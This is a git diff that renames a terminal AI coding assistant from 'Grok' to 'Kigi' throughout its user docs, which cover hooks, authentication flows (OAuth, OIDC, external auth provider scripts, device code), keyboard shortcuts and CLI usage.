+**Tool name aliases**: Claude-style names like `Bash`, `Edit`, `Read` automatically match Kigi's internal names (`run_terminal_cmd`, `search_replace`, `read_file`).
 
 ## Writing Hook Scripts
 
@@ -124,7 +124,7 @@ For events like `SessionStart` or `PostToolUse`, stdout is ignored. Just exit 0
 
 ### Useful Environment Variables
 
-Grok injects the following variables into every hook process:
+Kigi injects the following variables into every hook process:
 
 - `KIGI_HOOK_EVENT` — the event name (e.g. `pre_tool_use`, `session_start`, `post_tool_use`)
 - `KIGI_HOOK_NAME` — the full configured name of this hook
@@ -168,13 +168,13 @@ config-load time:
 ```json
 {
   "type": "command",
-  "command": "${HOME}/.config/grok-hooks/check.sh"
+  "command": "${HOME}/.config/kigi-hooks/check.sh"
 }
 ```
 
 Lookup order for each reference:
 1. The handler's own `env` map.
-2. The current process environment (the env Grok itself sees).
+2. The current process environment (the env Kigi itself sees).
 
 If a reference is unset in both, it's **preserved verbatim** (e.g. `${UNSET}`
 stays as the literal string). The runtime `sh -c` branch may resolve it later
@@ -230,7 +230,7 @@ Hooks from `~/.kigi/hooks/` appear under **Global**, project ones under **Projec
 Instead of a local script, call a remote endpoint:
 
 ```json
-{ "type": "http", "url": "https://hooks.example.com/grok-event", "timeout": 15 }
+{ "type": "http", "url": "https://hooks.example.com/kigi-event", "timeout": 15 }
 ```
 
 The full event envelope is POSTed as JSON. Useful for webhooks, analytics, or serverless functions.
diff --git a/crates/codegen/kigi-tui/docs/hooks-and-plugins.md b/crates/codegen/kigi-tui/docs/hooks-and-plugins.md
index 34749fa..2de0337 100644
--- a/crates/codegen/kigi-tui/docs/hooks-and-plugins.md
+++ b/crates/codegen/kigi-tui/docs/hooks-and-plugins.md
@@ -1,6 +1,6 @@
 # Hooks & Plugins Guide
 
-Grok Build supports **hooks** (event-driven shell commands) and **plugins** (bundles of skills, agents, hooks, and MCP servers). Both are managed through a unified modal interface.
+Kigi supports **hooks** (event-driven shell commands) and **plugins** (bundles of skills, agents, hooks, and MCP servers). Both are managed through a unified modal interface.
 
 ## Opening the Modal
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/01-getting-started.md b/crates/codegen/kigi-tui/docs/user-guide/01-getting-started.md
index 2b1bde4..53319cf 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/01-getting-started.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/01-getting-started.md
@@ -1,6 +1,6 @@
 # Getting Started
 
-Grok Build is a terminal-based AI coding assistant from SpaceXAI. It runs as a TUI (Terminal User Interface) that understands your codebase, executes shell commands, edits files, searches the web, and manages tasks.
+Kigi is a terminal-based AI coding assistant from SpaceXAI. It runs as a TUI (Terminal User Interface) that understands your codebase, executes shell commands, edits files, searches the web, and manages tasks.
 
 You can use it interactively as a full-screen TUI, run it headlessly for scripting and CI/CD, or integrate it into editors via the Agent Client Protocol (ACP).
 
@@ -37,32 +37,32 @@ The PowerShell installer automatically adds `%USERPROFILE%\.kigi\bin` to your Us
 Verify the installation:
 
 ```bash
-grok --version
+kigi --version
 ```
 
 Update to the latest version at any time:
 
 ```bash
-grok update
+kigi update
 ```
 
 ---
 
 ## First Launch
 
-Start Grok by running:
+Start Kigi by running:
 
 ```bash
-grok
+kigi
 ```
 
-On first launch, Grok opens your browser to authenticate with grok.com. After you sign in, Grok stores your credentials in `~/.kigi/auth.json`, where they persist across sessions. Grok refreshes your credentials automatically and prompts you to sign in again when they can no longer be renewed.
+On first launch, Kigi opens your browser to authenticate with kigi.com. After you sign in, Kigi stores your credentials in `~/.kigi/auth.json`, where they persist across sessions. Kigi refreshes your credentials automatically and prompts you to sign in again when they can no longer be renewed.
 
 If you prefer API key authentication (e.g., for CI/CD or environments without a browser), set the `XAI_API_KEY` environment variable instead:
 
 ```bash
 export XAI_API_KEY="xai-..."
-grok
+kigi
 ```
 
 See [Authentication](02-authentication.md) for the full set of auth options including OIDC, external auth providers, and device code flow.
@@ -71,12 +71,12 @@ See [Authentication](02-authentication.md) for the full set of auth options incl
 
 ## Basic Interaction
 
-Once authenticated, Grok presents a full-screen TUI with two main areas:
+Once authenticated, Kigi presents a full-screen TUI with two main areas:
 
-- **Scrollback** -- the conversation history showing your prompts, Grok's responses, tool calls, file edits, and more.
+- **Scrollback** -- the conversation history showing your prompts, Kigi's responses, tool calls, file edits, and more.
 - **Prompt** -- the input area at the bottom where you type messages.
 
-Type a message and press `Enter` to send it. Grok reads files, runs commands, and edits code as needed. Each tool run streams into the scrollback in real time.
+Type a message and press `Enter` to send it. Kigi reads files, runs commands, and edits code as needed. Each tool run streams into the scrollback in real time.
 
 Press `Tab` to move focus between the prompt and the scrollback. While a turn is running, `Ctrl+C` cancels it (or clears a non-empty draft first); `Esc` is a no-op mid-turn. Idle, press `Esc` twice within 800ms to clear a non-empty prompt, or (with an empty prompt and conversation messages) to open rewind — see [Keyboard Shortcuts](03-keyboard-shortcuts.md#escape). With the scrollback focused, use the arrow keys to select entries and to collapse or expand them. To navigate with `j`/`k` and fold with `h`/`l` instead, enable Vim mode.
 
@@ -99,10 +99,10 @@ The `@` operator opens a fuzzy file picker. By default it respects `.gitignore`
 
 ### Permissions
 
-By default, Grok asks for permission before executing shell commands or editing files. You can approve individually or toggle always-approve mode:
+By default, Kigi asks for permission before executing shell commands or editing files. You can approve individually or toggle always-approve mode:
 
 - Press `Ctrl+O` to toggle always-approve mode
-- Use the `--yolo` flag at launch: `grok --yolo`
+- Use the `--yolo` flag at launch: `kigi --yolo`
 - Type `/always-approve` in the prompt to toggle the mode
 
 ---
@@ -115,15 +115,15 @@ Every conversation is a **session**. Sessions are automatically saved to `~/.kig
 
 - Start a new session: `Ctrl+N` or `/new`
 - Resume a previous session: `/resume` in the TUI, or `--resume <ID>` from the CLI
-- Continue the most recent session: `grok -c`
+- Continue the most recent session: `kigi -c`
 
 ### Scrollback
 
 The scrollback is the main display area. It shows:
 
 - **User prompts** -- your messages, rendered as sticky headers
-- **Agent messages** -- Grok's responses with full markdown rendering and syntax highlighting
-- **Thinking blocks** -- Grok's reasoning process (collapsible)
+- **Agent messages** -- Kigi's responses with full markdown rendering and syntax highlighting
+- **Thinking blocks** -- Kigi's reasoning process (collapsible)
 - **Tool calls** -- file edits (with inline diffs), command executions, search results, and more
 - **Task lists** -- TODO items tracking progress
 
@@ -131,7 +131,7 @@ Collapse or expand the selected entry with the `Left`/`Right` arrow keys (or `h`
 
 ### Tools
 
-Grok has built-in tools for:
+Kigi has built-in tools for:
 
 | Tool | Description |
 |------|-------------|
@@ -151,7 +151,7 @@ Tools can be extended with [MCP servers](05-configuration.md#mcp-servers) for in
 Type `/` in the prompt to access commands. These provide quick actions without writing a full prompt:
 
 ```
-/model grok-build                 # Switch model
+/model kigi                 # Switch model
 /compact                          # Compress conversation history
 /always-approve                   # Toggle always-approve mode
 /new                              # Start a new session
@@ -165,54 +165,54 @@ See [Slash Commands](04-slash-commands.md) for the complete reference.
 
 ```bash
 # Launch the interactive TUI and submit an initial prompt as the first turn
-grok "fix the failing auth test and run it"
+kigi "fix the failing auth test and run it"
 
 # Initial prompt in a new git worktree. Use --worktree=<name> (with `=`) so the
-# prompt isn't swallowed as the worktree name — `grok -w "refactor module X"`
+# prompt isn't swallowed as the worktree name — `kigi -w "refactor module X"`
 # would treat "refactor module X" as the worktree label, not the prompt.
-grok --worktree=feat "refactor module X"
+kigi --worktree=feat "refactor module X"
 
 # Base the worktree on a specific branch (e.g. main) instead of the current HEAD:
-grok -w --ref main "implement feature from main"
+kigi -w --ref main "implement feature from main"
 
 
 # Start in a specific project directory
-grok --cwd ~/projects/my-app
+kigi --cwd ~/projects/my-app
 
 # Add project-specific rules
-grok --rules "Always use TypeScript. Prefer functional components."
+kigi --rules "Always use TypeScript. Prefer functional components."
 
 # Auto-approve all tool executions
-grok --yolo
+kigi --yolo
 
 # Use a specific model
-grok -m grok-build
+kigi -m kigi
 
 # Resume a previous session
-grok --resume <session-id>
+kigi --resume <session-id>
 
 # Continue the most recent session
-grok -c
+kigi -c
 
-# Experimental scrollback-native render mode. Sticky: plain `grok` reopens in
+# Experimental scrollback-native render mode. Sticky: plain `kigi` reopens in
 # the mode last chosen via --minimal/--fullscreen (or /minimal//fullscreen).
-grok --minimal
+kigi --minimal
 
 # Back to the standard fullscreen TUI (and make it sticky again)
-grok --fullscreen
+kigi --fullscreen
 
 # Headless mode (for scripts)
-grok -p "Explain this codebase"
+kigi -p "Explain this codebase"
 ```
 
 ---
 
 ## Headless Mode
 
-Run Grok non-interactively for scripting, CI/CD, and automation:
+Run Kigi non-interactively for scripting, CI/CD, and automation:
 
 ```bash
-grok -p "Your prompt here"
+kigi -p "Your prompt here"
 ```
 
 Output formats:
@@ -226,14 +226,14 @@ Output formats:
 Example CI/CD usage:
 
 ```bash
-grok -p "Review changes for bugs" --output-format json --yolo | jq -r '.text'
+kigi -p "Review changes for bugs" --output-format json --yolo | jq -r '.text'
 ```
 
 ---
 
 ## Project Rules (AGENTS.md)
 
-Add per-project instructions by creating an `AGENTS.md` file in your repository. Grok reads these files and injects their contents as a project-instructions message at the start of the conversation:
+Add per-project instructions by creating an `AGENTS.md` file in your repository. Kigi reads these files and injects their contents as a project-instructions message at the start of the conversation:
 
 ```
 ~/.kigi/AGENTS.md           # Global rules (apply to all projects)
@@ -241,7 +241,7 @@ Add per-project instructions by creating an `AGENTS.md` file in your repository.
 <cwd>/AGENTS.md             # Directory-level rules (highest priority)
 ```
 
-Deeper files take precedence. Grok also reads `CLAUDE.md` files for compatibility.
+Deeper files take precedence. Kigi also reads `CLAUDE.md` files for compatibility.
 
 ---
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/02-authentication.md b/crates/codegen/kigi-tui/docs/user-guide/02-authentication.md
index 7f93a5b..84121a2 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/02-authentication.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/02-authentication.md
@@ -1,35 +1,35 @@
 # Authentication
 
-Grok supports several authentication methods, including interactive browser login, enterprise single sign-on (SSO), and headless CI/CD runners.
+Kigi supports several authentication methods, including interactive browser login, enterprise single sign-on (SSO), and headless CI/CD runners.
 
 ---
 
 ## Browser Login (Default)
 
-On first launch, Grok opens your browser to authenticate with grok.com:
+On first launch, Kigi opens your browser to authenticate with kigi.com:
 
 ```bash
-grok
+kigi
 ```
 
-Grok stores credentials in `~/.kigi/auth.json` and reuses them across sessions. Grok refreshes access tokens automatically in the background. When a token can't be refreshed, Grok prompts you to sign in again. Credentials without a server-provided expiry fall back to a 30-day lifetime.
+Kigi stores credentials in `~/.kigi/auth.json` and reuses them across sessions. Kigi refreshes access tokens automatically in the background. When a token can't be refreshed, Kigi prompts you to sign in again. Credentials without a server-provided expiry fall back to a 30-day lifetime.
 
 ### Re-authenticate
 
 To switch accounts or resolve an authentication problem, run:
 
 ```bash
-grok login
+kigi login
 ```
 
-Running `grok login` starts the sign-in flow again, replacing your cached session. By default, it opens your browser and signs in through SpaceXAI OAuth at `auth.x.ai`. Pass a flag to select a different flow:
+Running `kigi login` starts the sign-in flow again, replacing your cached session. By default, it opens your browser and signs in through SpaceXAI OAuth at `auth.x.ai`. Pass a flag to select a different flow:
 
 | Flag | Description |
 |------|-------------|
 | `--oauth` | Sign in through SpaceXAI OAuth at `auth.x.ai`. This is the default, so the flag is optional. |
 | `--device-auth` (alias `--device-code`) | Sign in with the device-code flow for headless or remote environments. |
 
-To sign out, run `grok logout`. It takes no flags and clears your cached credentials.
+To sign out, run `kigi logout`. It takes no flags and clears your cached credentials.
 
 ---
 
@@ -39,21 +39,21 @@ For CI/CD, automation, or environments without browser access, use an API key fr
 
 ```bash
 export XAI_API_KEY="xai-..."
-grok
+kigi
 ```
 
-Grok uses the API key as a fallback when no session token is active. If you have already signed in interactively, the stored session token takes precedence. To fall back to the API key, run `grok logout` or delete `~/.kigi/auth.json`.
+Kigi uses the API key as a fallback when no session token is active. If you have already signed in interactively, the stored session token takes precedence. To fall back to the API key, run `kigi logout` or delete `~/.kigi/auth.json`.
 
 ---
 
 ## OIDC (Customer SSO)
 
-Authenticate developers through your own Identity Provider (IdP) -- such as Okta, Azure AD, or Auth0 -- instead of grok.com.
+Authenticate developers through your own Identity Provider (IdP) -- such as Okta, Azure AD, or Auth0 -- instead of kigi.com.
 
 ### 1. Register a public client in your IdP
 
 - Grant type: Authorization Code with PKCE (Proof Key for Code Exchange)
-- Redirect URI: `http://127.0.0.1/callback` -- a loopback address. Grok binds a random port at sign-in time, and most IdPs treat the loopback redirect as port-agnostic per [RFC 8252](https://tools.ietf.org/html/rfc8252).
+- Redirect URI: `http://127.0.0.1/callback` -- a loopback address. Kigi binds a random port at sign-in time, and most IdPs treat the loopback redirect as port-agnostic per [RFC 8252](https://tools.ietf.org/html/rfc8252).
 - No client secret. PKCE replaces it.
 
 ### 2. Configure the CLI
@@ -62,7 +62,7 @@ Via config file:
 
 ```toml
 # ~/.kigi/config.toml
-[grok_com_config.oidc]
+[kigi_com_config.oidc]
 issuer = "https://acme.okta.com"
 client_id = "0oa1b2c3d4e5f6g7h8i9"
 ```
@@ -77,10 +77,10 @@ export KIGI_OIDC_CLIENT_ID="0oa1b2c3d4e5f6g7h8i9"
 You can also override the API endpoint to point at your own proxy:
 
 ```bash
-export KIGI_CLI_CHAT_PROXY_BASE_URL="https://grok-proxy.acme.com/v1"
+export KIGI_CLI_CHAT_PROXY_BASE_URL="https://kigi-proxy.acme.com/v1"
 ```
 
-### 3. Run `grok`
+### 3. Run `kigi`
 
 The CLI discovers endpoints via `{issuer}/.well-known/openid-configuration`, opens the IdP login page, and stores tokens in `~/.kigi/auth.json`. Tokens auto-refresh silently via the stored `refresh_token`.
 
@@ -101,7 +101,7 @@ When browser-based login isn't possible -- for example, on sandboxed VMs, CI run
 
 ```
 +--------------+     sh -c     +------------------------+
-|     Grok     |-------------->|  your auth binary      |
+|     Kigi     |-------------->|  your auth binary      |
 |              |               |                        |
 |  reads       |<-- stdout ----|  prints token          |
 |  auth.json   |               |                        |
@@ -109,20 +109,20 @@ When browser-based login isn't possible -- for example, on sandboxed VMs, CI run
 +--------------+               +------------------------+
 ```
 
-1. Grok runs your command via `sh -c "<command>"`
+1. Kigi runs your command via `sh -c "<command>"`
 2. Your binary runs whatever auth flow it needs (SSO, device code, certificate exchange)
-3. **stderr** carries human-readable output, such as login URLs and status messages. Grok reads stderr and surfaces it to the user; in the TUI, it turns the first `https://` URL into a clickable sign-in link.
-4. **stdout** is captured by Grok and saved as the access token
-5. Exit 0 = success; exit non-zero = Grok falls back to interactive login
+3. **stderr** carries human-readable output, such as login URLs and status messages. Kigi reads stderr and surfaces it to the user; in the TUI, it turns the first `https://` URL into a clickable sign-in link.
+4. **stdout** is captured by Kigi and saved as the access token
+5. Exit 0 = success; exit non-zero = Kigi falls back to interactive login
 
 ### The stdout / stderr Contract
 
 | Stream | What to print | Who sees it |
 |--------|---------------|-------------|
-| **stdout** | The token -- nothing else | Grok (parsed and stored in auth.json) |
-| **stderr** | Login URLs, status messages, errors | The user (Grok reads stderr and shows the sign-in URL as a clickable link in the TUI) |
+| **stdout** | The token -- nothing else | Kigi (parsed and stored in auth.json) |
+| **stderr** | Login URLs, status messages, errors | The user (Kigi reads stderr and shows the sign-in URL as a clickable link in the TUI) |
 
-**Do not print anything to stdout except the token.** No progress messages, no debug output. Grok reads stdout, trims surrounding whitespace, and parses the result as a token.
+**Do not print anything to stdout except the token.** No progress messages, no debug output. Kigi reads stdout, trims surrounding whitespace, and parses the result as a token.
 
 ### stdout Token Format
 
@@ -138,14 +138,14 @@ eyJhbGciOiJSUzI1NiIs...
 {"access_token": "eyJhbGciOi...", "refresh_token": "ref-tok", "expires_in": 3600, "issuer": "https://idp.example.com"}
 ```
 
-Use JSON if your tokens expire and you want Grok to automatically re-run the binary before expiry.
+Use JSON if your tokens expire and you want Kigi to automatically re-run the binary before expiry.
 
 JSON fields:
 
 | Field | Required | Meaning |
 |-------|----------|---------|
-| `access_token` | yes | Bearer token Grok sends to the xAI API |
-| `refresh_token` | no | Stored for reference. Grok refreshes by re-running your binary, not with an OAuth refresh grant |
+| `access_token` | yes | Bearer token Kigi sends to the xAI API |
+| `refresh_token` | no | Stored for reference. Kigi refreshes by re-running your binary, not with an OAuth refresh grant |
 | `expires_in` | no | Token lifetime in seconds; enables proactive refresh before expiry |
 | `issuer` | no | Identifies the token's issuer |
 
@@ -171,7 +171,7 @@ export KIGI_AUTH_TOKEN_TTL=3600
 
 ### Token Refresh
 
-When Grok needs to refresh an expired token, it re-runs your binary with `KIGI_AUTH_EXPIRED=1` set in the environment. Each run fully replaces the stored credential, so emit the same JSON fields (such as `issuer`) on every invocation, including refreshes. Your binary can use this to take a faster silent-refresh path:
+When Kigi needs to refresh an expired token, it re-runs your binary with `KIGI_AUTH_EXPIRED=1` set in the environment. Each run fully replaces the stored credential, so emit the same JSON fields (such as `issuer`) on every invocation, including refreshes. Your binary can use this to take a faster silent-refresh path:
 
 ```bash
 #!/bin/sh
@@ -198,7 +198,7 @@ echo "{\"access_token\": \"$TOKEN\", \"expires_in\": 3600}"
 | `KIGI_AUTH_PROVIDER_COMMAND` | Path to your auth binary |
 | `KIGI_AUTH_PROVIDER_LABEL` | Display name on the TUI login screen (e.g., "Acme Corp") |
 | `KIGI_AUTH_TOKEN_TTL` | Token lifetime in seconds (for bare-string tokens without `expires_in`) |
-| `KIGI_AUTH_EXPIRED` | Set to `1` by Grok when re-running the binary for token refresh |
+| `KIGI_AUTH_EXPIRED` | Set to `1` by Kigi when re-running the binary for token refresh |
 | `KIGI_AUTH_EARLY_INVALIDATION_SECS` | Seconds before expiry to proactively refresh (default: 300) |
 
 ---
@@ -208,10 +208,10 @@ echo "{\"access_token\": \"$TOKEN\", \"expires_in\": 3600}"
 For headless environments (SSH sessions, Docker containers, remote VMs) where no browser is available locally:
 
 ```bash
-grok login --device-auth    # or: grok login --device-code
+kigi login --device-auth    # or: kigi login --device-code
 ```
 
-This prints a URL and code to the terminal. Open the URL on any device, enter the code, and complete authentication. Grok polls until the login is confirmed.
+This prints a URL and code to the terminal. Open the URL on any device, enter the code, and complete authentication. Kigi polls until the login is confirmed.
 
 You can also implement the device-code flow through an [External Auth Provider](#external-auth-provider) for full control.
 
@@ -219,11 +219,11 @@ You can also implement the device-code flow through an [External Auth Provider](
 
 ## Automatic Credential Refresh
 
-Grok automatically refreshes expired credentials:
+Kigi automatically refreshes expired credentials:
 
-- **Before expiry:** If your auth provider returned `expires_in` (JSON output) or you set `auth_token_ttl`, Grok re-runs the auth binary ~5 minutes before expiry.
-- **On auth error:** If the server returns 401 Unauthorized, Grok refreshes the credentials and retries the request.
-- **OIDC:** If a `refresh_token` is available, Grok silently refreshes via your IdP without re-opening the browser.
+- **Before expiry:** If your auth provider returned `expires_in` (JSON output) or you set `auth_token_ttl`, Kigi re-runs the auth binary ~5 minutes before expiry.
+- **On auth error:** If the server returns 401 Unauthorized, Kigi refreshes the credentials and retries the request.
+- **OIDC:** If a `refresh_token` is available, Kigi silently refreshes via your IdP without re-opening the browser.
 
 Tune the refresh buffer:
 
@@ -239,22 +239,22 @@ export KIGI_AUTH_EARLY_INVALIDATION_SECS=0
 
 ## Hot Reload
 
-Grok picks up changes to `~/.kigi/auth.json` automatically. If you update credentials externally (for example, with a script that writes new tokens), Grok uses the new credentials on the next API call without a restart.
+Kigi picks up changes to `~/.kigi/auth.json` automatically. If you update credentials externally (for example, with a script that writes new tokens), Kigi uses the new credentials on the next API call without a restart.
 
 ---
 
 ## Auth Precedence
 
-Grok resolves credentials for each request in this order, highest to lowest:
+Kigi resolves credentials for each request in this order, highest to lowest:
 
 1. **Per-model `api_key` or `env_key`** -- set under `[model.<name>]` in `config.toml`. Wins whenever present.
 2. **Active session token** -- obtained through browser, OIDC/OAuth2, or external-provider login and stored in `~/.kigi/auth.json`.
 3. **`XAI_API_KEY`** -- fallback when no session token is active.
 
-When more than one login flow is configured, Grok populates the session token from the first available source, highest to lowest:
+When more than one login flow is configured, Kigi populates the session token from the first available source, highest to lowest:
 
 1. **External auth provider** (`auth_provider_command`)
-2. **Enterprise OIDC** -- when OIDC is configured, through `[grok_com_config.oidc]` in `config.toml` or the `KIGI_OIDC_ISSUER` and `KIGI_OIDC_CLIENT_ID` environment variables
+2. **Enterprise OIDC** -- when OIDC is configured, through `[kigi_com_config.oidc]` in `config.toml` or the `KIGI_OIDC_ISSUER` and `KIGI_OIDC_CLIENT_ID` environment variables
 3. **SpaceXAI OAuth2 browser login** -- the default
 
 During a session, the active method handles all mid-session refreshes.
@@ -270,8 +270,8 @@ Set `RUST_LOG` to control the verbosity of the file log and headless stderr outp
 In the TUI, set `KIGI_LOG_FILE` to an absolute path to write logs to that file:
 
 ```bash
-KIGI_LOG_FILE=/tmp/grok.log RUST_LOG=debug grok
-tail -f /tmp/grok.log
+KIGI_LOG_FILE=/tmp/kigi.log RUST_LOG=debug kigi
+tail -f /tmp/kigi.log
 ```
 
 `KIGI_LOG_FILE` is treated as a literal file path. A relative value such as `1` writes a file named `1` in the current directory.
@@ -279,22 +279,22 @@ tail -f /tmp/grok.log
 In headless mode, logs go to stderr. Redirect them to a file:
 
 ```bash
-RUST_LOG=debug grok -p "hello" 2> /tmp/grok.log
+RUST_LOG=debug kigi -p "hello" 2> /tmp/kigi.log
 ```
 
 ### Common log messages
 
 | Log message | What it means |
 |-------------|---------------|
-| `auth: running external auth provider` | Grok is running your binary |
-| `auth: external auth provider returned fresh token` | Grok parsed and stored the token |
+| `auth: running external auth provider` | Kigi is running your binary |
+| `auth: external auth provider returned fresh token` | Kigi parsed and stored the token |
 | `auth: external auth provider failed` | Binary exited non-zero or stdout was empty |
 | `auth: external auth provider timed out (likely needs interactive auth), killing` | Binary did not exit before the timeout and was killed |
 | `auth: failed to start external auth provider` | Command could not be spawned (binary not found) |
 
 ### Common fixes
 
-- **"Authentication failed"** -- Run `grok logout` to clear cached credentials, then `grok login` to sign in again.
+- **"Authentication failed"** -- Run `kigi logout` to clear cached credentials, then `kigi login` to sign in again.
 - **Token expires too quickly** -- Set `auth_token_ttl` or return `expires_in` in your auth provider's JSON output.
 - **OIDC redirect fails** -- Ensure your IdP allows loopback redirect URIs (`http://127.0.0.1/callback`).
 - **External auth provider not found** -- Check that the `auth_provider_command` path is correct and the binary is executable.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/03-keyboard-shortcuts.md b/crates/codegen/kigi-tui/docs/user-guide/03-keyboard-shortcuts.md
index ee2d28d..b036e64 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/03-keyboard-shortcuts.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/03-keyboard-shortcuts.md
@@ -1,12 +1,12 @@
 # Keyboard Shortcuts
 
-Reference for key bindings in the Grok Build TUI. Bindings are built in and cannot currently be remapped.
+Reference for key bindings in the Kigi TUI. Bindings are built in and cannot currently be remapped.
 
 ---
 
 ## Input Modes
 
-Grok has two input modes that control how you navigate the scrollback:
+Kigi has two input modes that control how you navigate the scrollback:
 
 - **Simple mode** (default): Arrow keys for navigation, `Shift+Arrow` for turn navigation, `Space` to focus the prompt, and any letter key auto-focuses the prompt.
 - **Vim mode** (opt-in): `j`/`k` for navigation, `H`/`L` for turn navigation, `J`/`K` for response navigation, `h`/`l` for fold, `e`/`E` for expand/collapse, and `i`/`Tab`/`Space` to focus the prompt.
@@ -141,7 +141,7 @@ Actions that affect the agent session, available from the agent screen.
 
 **Note:** `Ctrl+'` is a Windows alt for `Ctrl+;` — some Windows consoles drop the `Ctrl` modifier on punctuation keys.
 
-**Note:** `Ctrl+.` needs the Kitty keyboard protocol (or tmux `extended-keys on` so that protocol can pass through). On VS Code / Cursor / Windsurf / Zed integrated terminals, VTE, Apple Terminal, Windows Terminal, JetBrains, tmux with `extended-keys off`, screen, and similar no-KKP setups, Grok advertises **`Ctrl+X`** as the primary shortcuts-cheatsheet key instead. **`Ctrl+X` always works** as a classic control character even when `Ctrl+.` does not. Run `/terminal-setup` if modified keys misbehave in tmux.
+**Note:** `Ctrl+.` needs the Kitty keyboard protocol (or tmux `extended-keys on` so that protocol can pass through). On VS Code / Cursor / Windsurf / Zed integrated terminals, VTE, Apple Terminal, Windows Terminal, JetBrains, tmux with `extended-keys off`, screen, and similar no-KKP setups, Kigi advertises **`Ctrl+X`** as the primary shortcuts-cheatsheet key instead. **`Ctrl+X` always works** as a classic control character even when `Ctrl+.` does not. Run `/terminal-setup` if modified keys misbehave in tmux.
 
 ---
 
@@ -155,17 +155,17 @@ Actions that affect the agent session, available from the agent screen.
 
 Non-image files insert their absolute path as text instead of a chip.
 
-> **`Alt+V` on Windows** is grok-specific. Windows Terminal's default `Ctrl+V` only pastes plain text and silently drops image clipboards; `Alt+V` bypasses the interceptor. To use `Ctrl+V` for images too, add `{ "command": null, "keys": "ctrl+v" }` to `actions` in your Windows Terminal `settings.json`.
+> **`Alt+V` on Windows** is kigi-specific. Windows Terminal's default `Ctrl+V` only pastes plain text and silently drops image clipboards; `Alt+V` bypasses the interceptor. To use `Ctrl+V` for images too, add `{ "command": null, "keys": "ctrl+v" }` to `actions` in your Windows Terminal `settings.json`.
 
 ### Linux PRIMARY and CLIPBOARD
 
 Linux X11 has two independent text selections:
 
 - `Ctrl+V` reads **CLIPBOARD**, the explicit copy/cut selection. It never falls back to PRIMARY. To put text there with `xclip`, use `printf %s "text" | xclip -selection clipboard`.
-- An unmodified middle click in Grok reads **PRIMARY**, the current mouse selection, only when `DISPLAY` is non-empty. Pure X11 can use its native reader fallback; XWayland requires `xclip` or `xsel` on `PATH` so Grok reads the X11 selection rather than Wayland PRIMARY. The press is handled once; the release does not paste again.
+- An unmodified middle click in Kigi reads **PRIMARY**, the current mouse selection, only when `DISPLAY` is non-empty. Pure X11 can use its native reader fallback; XWayland requires `xclip` or `xsel` on `PATH` so Kigi reads the X11 selection rather than Wayland PRIMARY. The press is handled once; the release does not paste again.
 - `Shift+Insert` is the terminal-native way to paste selected text. Many terminals also use `Shift+middle click` to bypass application mouse reporting.
 
-Over SSH, the remote Grok process usually cannot access the terminal's local X11 selection. Use terminal-native `Shift+Insert` or `Shift+middle click` so the local terminal sends the selected text through the PTY.
+Over SSH, the remote Kigi process usually cannot access the terminal's local X11 selection. Use terminal-native `Shift+Insert` or `Shift+middle click` so the local terminal sends the selected text through the PTY.
 
 ---
 
@@ -195,7 +195,7 @@ Send-now is intentionally interruptive — it reads as "stop what you're doing a
 
 > **Windows (non–VS Code family)**: Some consoles drop the `Ctrl` modifier on `Ctrl+Enter` (it can collapse to bare `Enter` or `Ctrl+J`). Use `Ctrl+I` as the alt — letter-key Ctrl chords are stable everywhere. On VS Code family, use **`Ctrl+L`**.
 
-> **VS Code family `Ctrl+L`**: Grok uses it for interject and leaves the extensions shortcut unbound (open plugins with `/plugins` or the command palette). If your terminal profile still maps **Clear** (or another command) to `Ctrl+L`, that host binding can steal the chord — rebind or remove it so the PTY receives form feed (`\x0c`).
+> **VS Code family `Ctrl+L`**: Kigi uses it for interject and leaves the extensions shortcut unbound (open plugins with `/plugins` or the command palette). If your terminal profile still maps **Clear** (or another command) to `Ctrl+L`, that host binding can steal the chord — rebind or remove it so the PTY receives form feed (`\x0c`).
 
 ---
 
@@ -208,7 +208,7 @@ Actions available from any screen.
 | `Ctrl+N` | | Create a new session (optionally in a git worktree) | Yes (double-press within 1000ms) |
 | `Ctrl+Q` | `Ctrl+D` | Quit the application | Yes (double-press within 1000ms) |
 
-**VS Code family terminal** (VS Code, Cursor, Windsurf, Zed integrated terminals): `Ctrl+Q` is captured by the host, so Grok makes **`Ctrl+D` the sole quit key** (`Ctrl+Q` is not bound). Half-page-down is rebound to bare **`Shift+D`**. Mid-turn interject uses **`Ctrl+L`** (no alternates) because `Ctrl+Enter` / `Ctrl+I` do not reliably reach the PTY; extensions are opened via `/plugins` instead of `Ctrl+L`.
+**VS Code family terminal** (VS Code, Cursor, Windsurf, Zed integrated terminals): `Ctrl+Q` is captured by the host, so Kigi makes **`Ctrl+D` the sole quit key** (`Ctrl+Q` is not bound). Half-page-down is rebound to bare **`Shift+D`**. Mid-turn interject uses **`Ctrl+L`** (no alternates) because `Ctrl+Enter` / `Ctrl+I` do not reliably reach the PTY; extensions are opened via `/plugins` instead of `Ctrl+L`.
 
 > **Returning to the welcome screen has no key binding** — use the `/home` slash command (alias `/welcome`) from inside a session. See [Slash Commands](04-slash-commands.md).
 
@@ -304,7 +304,7 @@ Clear (idle):     Esc Esc within 800ms (non-empty prompt)
 Rewind (idle):    Esc Esc within 800ms (empty prompt + messages)
 ```
 
-> **Cmd+A is gated to Ghostty.** Grok's in-app `Cmd+A` handler is only
+> **Cmd+A is gated to Ghostty.** Kigi's in-app `Cmd+A` handler is only
 > wired up when the detected terminal is Ghostty. Other terminals
 > either swallow `Cmd+A` at the terminal layer (Apple Terminal, default
 > iTerm2) or apply their own in-terminal "Select All" behaviour (Kitty,
diff --git a/crates/codegen/kigi-tui/docs/user-guide/04-slash-commands.md b/crates/codegen/kigi-tui/docs/user-guide/04-slash-commands.md
index 2a32c82..1bf708a 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/04-slash-commands.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/04-slash-commands.md
@@ -40,7 +40,7 @@ Compress conversation history to save context window space. Optionally specify w
 /compact keep the auth implementation details
 ```
 
-When the context window fills up, Grok auto-compacts at 85% usage (configurable via `[session] auto_compact_threshold_percent` in config.toml).
+When the context window fills up, Kigi auto-compacts at 85% usage (configurable via `[session] auto_compact_threshold_percent` in config.toml).
 
 ### `/context`
 
@@ -131,8 +131,8 @@ Aliases: `/title`
